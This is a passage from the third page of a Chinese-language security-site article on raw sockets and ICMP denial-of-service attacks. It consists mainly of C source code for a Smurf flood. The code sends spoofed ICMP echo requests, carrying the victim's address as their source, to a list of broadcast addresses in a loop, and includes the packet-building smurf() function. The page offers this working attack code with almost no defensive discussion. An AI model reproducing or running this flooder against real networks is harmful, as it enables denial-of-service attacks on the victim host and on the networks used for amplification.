网络安全参考 | UNIX参考 | GPS参考 | 无线参考 | 在线手册 | OSBUG.ORG | SUNNY-NETWORK.COM
网站地图 RSS订阅
高级搜索 收藏本站
Home | 业界动态 | 防火墙 | IDS/IPS | VPN | PKI | Honeypot | Hacker/Intruder | 黑客技术 | 破解技术 | 加密技术 | 病毒防护 | 木马 | 反垃圾邮件 | 反流氓软件 | 漏洞 | 无线安全 | UNIX | Windows | 安全编程 | 安全软件 | TPM/TCG | 数据恢复 | 企业信息安全 | 个人信息安全
 当前位置: Home > 安全编程 > 网络编程 > 文章  
原始套接字透析之ICMP拒绝服务攻击
文章来源: 天极开发 文章作者: 宋宝华 发布时间: 2006-11-14   字体: [ ]
 

 if (x == 0)
 {
  fprintf(stderr, "ERROR: no broadcasts found in file %s\n\n", argv[2]);
  exit( - 1);
 }

 if (pktsize > 1024)
 {
  fprintf(stderr, "ERROR: packet size must be < 1024\n\n");
  exit( - 1);
 }

 if ((sock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0)
 {
  perror("getting socket");
  exit( - 1);
 }

 setsockopt(sock, SOL_SOCKET, SO_BROADCAST, (char*) &bcast, sizeof(bcast));

 printf("Flooding %s (. = 25 outgoing packets)\n", argv[1]);

 for (i = 0; i < num || !num; i++)
 {
  if (!(i % 25))
  {
   printf(".");
   fflush(stdout);
  }

  smurf(sock, sin, inet_addr(bcastaddr[cycle]), pktsize);
  cycle++;
  if (bcastaddr[cycle] == 0x0)
   cycle = 0;
  usleep(delay);
 }

 puts("\n\n");
 return 0;
}

  其中调用的smurf()函数为:

void smurf(int sock, struct sockaddr_in sin, u_long dest, int psize)
{
 struct iphdr *ip;
 struct icmphdr *icmp;
 char *packet;

 packet = malloc(sizeof(struct iphdr) + sizeof(struct icmphdr) + psize);
 ip = (struct iphdr*)packet;
 icmp = (struct icmphdr*)(packet + sizeof(struct iphdr));

 memset(packet, 0, sizeof(struct iphdr) + sizeof(struct icmphdr) + psize);

 ip->tot_len = htons(sizeof(struct iphdr) + sizeof(struct icmphdr) + psize);
 ip->ihl = 5;
 ip->version = 4;
 ip->ttl = 255;
 ip->tos = 0;
 ip->frag_off = 0;
 ip->protocol = IPPROTO_ICMP;
 ip->saddr = sin.sin_addr.s_addr;
 ip->daddr = dest;
 ip->check = in_chksum((u_short*)ip, sizeof(struct iphdr));
 icmp->type = 8;
 icmp->code = 0;
 icmp->checksum = in_chksum((u_short*)icmp, sizeof(struct icmphdr) + psize);

 sendto(sock, packet, sizeof(struct iphdr) + sizeof(struct icmphdr) + psize, 0, (struct sockaddr*) &sin, sizeof(struct sockaddr));

 free(packet);
}

  (参考链接: http://dev.yesky.com/116/2667616.shtml)

 
推荐文章
·洪水攻击原理及代码实现全攻略(
·原始套接字透析之综合实例:网络
·原始套接字透析之实现IP地址欺骗
·原始套接字透析之ARP欺骗
·原始套接字透析之实现包分析
·原始套接字透析之实现sniffer
·原始套接字透析之实现路由欺骗
·原始套接字透析之实现Ping
·原始套接字透析之Raw Socket基础
·黑客之旅 -- 原始套接字透析之前
 
 
共3页: 上一页 [1] [2] 3 下一页
↑返回顶部   打印本页   关闭窗口↓  

Google
 
Web oldhand.org unixreference.net meshmea.org
热点文章
·原始套接字透析之Raw So
·原始套接字透析之ARP欺
·洪水攻击原理及代码实现
·原始套接字透析之综合实
·原始套接字透析之实现Pi
·黑客之旅 -- 原始套接字
·原始套接字透析之实现路
·原始套接字透析之实现包
相关分类
相关文章
·原始套接字透析之实现Pi
·原始套接字透析之实现路
·原始套接字透析之实现sn
·原始套接字透析之Raw So
·黑客之旅 -- 原始套接字
·原始套接字透析之实现包
·原始套接字透析之ARP欺
·原始套接字透析之实现IP
更多...
 
 

Copyright(c) 2001-2008 OLDHAND ORGANIZATION, All Rights reserved.
Power by DedeCms 织梦内容管理系统
$Id: article_article.html,v 1.3 2007/02/10 12:00:37 yjs Exp $